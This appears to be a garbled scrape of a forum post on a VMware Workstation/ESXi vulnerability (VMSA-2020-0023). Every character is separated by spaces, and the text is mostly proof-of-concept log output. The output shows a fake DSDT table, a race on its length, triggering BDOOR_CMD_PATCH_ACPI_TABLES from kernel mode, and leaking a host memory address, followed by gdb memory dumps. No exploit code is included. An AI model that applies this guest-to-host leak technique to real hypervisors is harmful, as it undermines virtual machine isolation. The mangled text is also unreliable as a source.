v m w a r e - v m x 2 G B V M w a r e W o r k s t a t i o n   v 1 6 . 0 V M S A - 2 0 2 0 - 0 0 2 3 L u c a s   L e o n g E S X i         0 1 0 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 1 1 0 :   0 0   0 0   0 0   0 0                                                                             . . . . p o c :   [ + ]   F a k e   D i f f e r e n t i a t e d   S y s t e m   D e s c r i p t i o n   T a b l e   @   0 x 7 F F F F F D 8 D S D T   @   0 x 0 0 0 0 0 0 0 0 7 F F F F F D 8         0 0 0 0 :   4 4   5 3   4 4   5 4   2 8   0 0   0 0   0 0   0 0   C 6   0 0   0 0   0 0   0 0   0 0   0 0     D S D T ( . . . . . . . . . . .         0 0 1 0 :   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . .         0 0 2 0 :   0 0   0 0   0 0   0 0   5 F   5 3   3 1   0 0                                                     . . . . _ S 1 . p o c :   [ + ]   S t a r t i n g   t h r e a d   t o   c h a n g e   D S D T   l e n g t h   d u r i n g   r a c e . . . p o c :   [ + ]   T r i g g e r i n g   B D O O R _ C M D _ P A T C H _ A C P I _ T A B L E S   f r o m   C P L   0 . . . p o c :   [ + ]   L e a k i n g   c h e c k s u m   f o r   8   b y t e s   a d j a c e n t   t o   g u e s t   m e m o r y   m a p p i n g . . . . . . . . . . . . . . . . . . . . . . . . . . . A 5   A 5   A 5   7 5   C 7   4 8   4 8   4 8 p o c :   [ + ]   L e a k e d   h o s t   m e m o r y   a d d r e s s   :   0 x 7 f a e 3 0 0 0 0 0 2 0 g d b - p e d a $   v m m a p . . . 0 x 0 0 0 0 7 f a d b 0 0 0 0 0 0 0   0 x 0 0 0 0 7 f a e 3 0 0 0 0 0 0 0   r w - s             / v m e m   ( d e l e t e d ) 0 x 0 0 0 0 7 f a e 3 0 0 0 0 0 0 0   0 x 0 0 0 0 7 f a e 3 0 9 e a 0 0 0   r w - p             m a p p e d 0 x 0 0 0 0 7 f a e 3 0 9 e a 0 0 0   0 x 0 0 0 0 7 f a e 3 4 0 0 0 0 0 0   - - - p             m a p p e d . . . g d b - p e d a $   x / 1 0 g x   0 x 0 0 0 0 7 f a e 3 0 0 0 0 0 0 0 0 x 7 f a e 3 0 0 0 0 0 0 0 :   0 x 0 0 0 0 7 f a e 3 0 0 0 0 0 2 0             0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 x 7 f a e 3 0 0 0 0 0 1 0 :   0 x 0 0 0 0 0 0 0 0 0 0 9 e a 0 0 0             0 x 0 0 0 0 0 0 0 0 0 0 9 e a 0 0 0 0 x 7 f a e 3 0 0 0 0 0 2 0 :   0 x 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0             0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 x 7 f a e 3 0 0 0 0 0 3 0 :   0 x 0 0 0 0 7 f a e 3 0 5 5 5 b 3 0             0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 x 7 f a e 3 0 0 0 0 0 4 0 :   0 x 0 0 0 0 7 f a e 3 0 2 6 3 8 6 0             0 x 0 0 0 0 7 f a e 3 0 2 7 8 e 4 0

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则